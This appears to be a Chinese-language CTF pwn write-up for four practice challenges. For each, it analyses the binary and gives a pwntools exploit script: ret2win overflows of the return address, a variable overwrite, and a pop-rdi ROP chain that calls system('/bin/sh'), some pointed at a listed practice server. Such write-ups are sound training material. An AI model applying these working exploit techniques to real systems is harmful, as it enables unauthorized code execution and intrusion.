五、emm
下载文件放入虚拟机中查看一下

32位ELF文件,开启栈不可执行保护(NX)
放入IDA中看一下

映入眼帘的就是一个flag函数,直接看一下flag函数中的内容

好嘛!cat flag 思路明确了
接着我们进入main函数中出现的yes函数,查看一下yes函数中的内容

一个栈溢出,read写入的是100个字节,远远超出定义的58字节
利用溢出,返回cat flag
思路有了
计算偏移地址
偏移地址:0x58+4

找出flag函数地址
flag_addr=0x80484CB

差不多了,开搞!
from pwn import *
r =remote("ip", port)
flag_addr=0x80484CB
padding=0x58+4
payload=b'a' * padding + p32(flag_addr)
r.sendline(payload)
r.interactive()
运行脚本后得到flag

六、Choice
下载 虚拟机 查看

64位ELF文件,开启NX保护
进入IDA查看

发现有3个函数,Data1-3
进入Data1查看

有溢出,但不多 达不到攻击条件
进入Data2查看

同Data1 一样 溢出但不多
进入Data3查看

这才对嘛,有溢出,也够用!
找到了溢出点再找找有没有后门函数 shift+F12查找字符串

跟踪进入看一下,这是哪个函数里的

标准,太标准了 标准且典型的后门函数
思路有了:利用Data3函数中的溢出,返回到这个后门函数
现在是找出地址
先找到后门函数地址:0x4007BD

然后找出偏移地址:0x30+8

编写脚本开干
from pwn import *
r =remote("120.46.59.242", 2112)
flag_addr=0x4007BD
padding=0x30+8
payload=b'a' * padding + p64(flag_addr)
r.sendlineafter(b'Menu:\n',b'3') //注意,进入Data3函数之前是要输入数值的 这里发送个3 使其进入Data3函数
r.sendline(payload)
r.interactive()

运行脚本后cat flag即可
七、overload1
这题我也没理清思路,所以就直接按照WP写了,有懂的可以评论一下 让我开开眼
下、放、查

ELF 64 NX开
IDA 看

使用了gets函数,是个溢出
if语句中v5[1]和97进行了比较,当v5[1]等于97,可以执行system()函数。
所以就是利用溢出,将v5[1]的值覆盖成97 也就是ascii码中的‘a’
进入main函数的第一个if循环,输入一个y。

通过构造攻击链让程序返回v5[1]等于字符a。

已知溢出变量和所要覆盖变量的距离即可算出距离,构造出Payload。
payload = 0x110 * 'a'
脚本如下
from pwn import *
r =remote("IP",port)
#r = process("./overload1")
elf = ELF("./overload1")
r.recvline()
r.recvline()
payload = 'y'
r.sendline(payload)
#payload1 = 0x120 * 'a'
payload1 = 0x110 * 'a'
r.recvline()
r.sendline(payload1)
r.interactive()
八、X64
查看一下文件

64位ELF文件,什么都没开???!!认真的么铁子
进入主函数发现有一个function函数,进入function函数查看

一个溢出点
shift+F12查看字符串

有bin/sh字符串
但是bin/sh字符串并没有和system组合在一起,因此我们需要通过传参将bin/sh传入到system中
64位传参:参数从左到右放入寄存器:RDI, RSI, RDX, ECX, R8, R9,之后跟32位一样
大体思路如下:
找出溢出偏移量、进入function函数中、覆盖返回地址为shell 将/bin/sh作为参数传入
开始找值:
偏移量:0x80+8
bin字符串地址:0x601060
system地址:0x4006B6
还差一个rdi地址
使用命令:
ROPgadget --binary x64 --only "pop|ret"
找到RDI地址

RDI_addr=0x4007e3
编程搞事
from pwn import *
r =remote("120.46.59.242", 2130)
bin_addr=0x601060
padding=0x80+8
sys_addr=0x4006B6
rdi_addr=0x4007e3
payload=b'a' * padding + p64(rdi_addr)+p64(bin_addr)+p64(sys_addr)
r.sendline(payload)
r.interactive()

运行,然后cat flag即可
890

被折叠的 条评论
为什么被折叠?



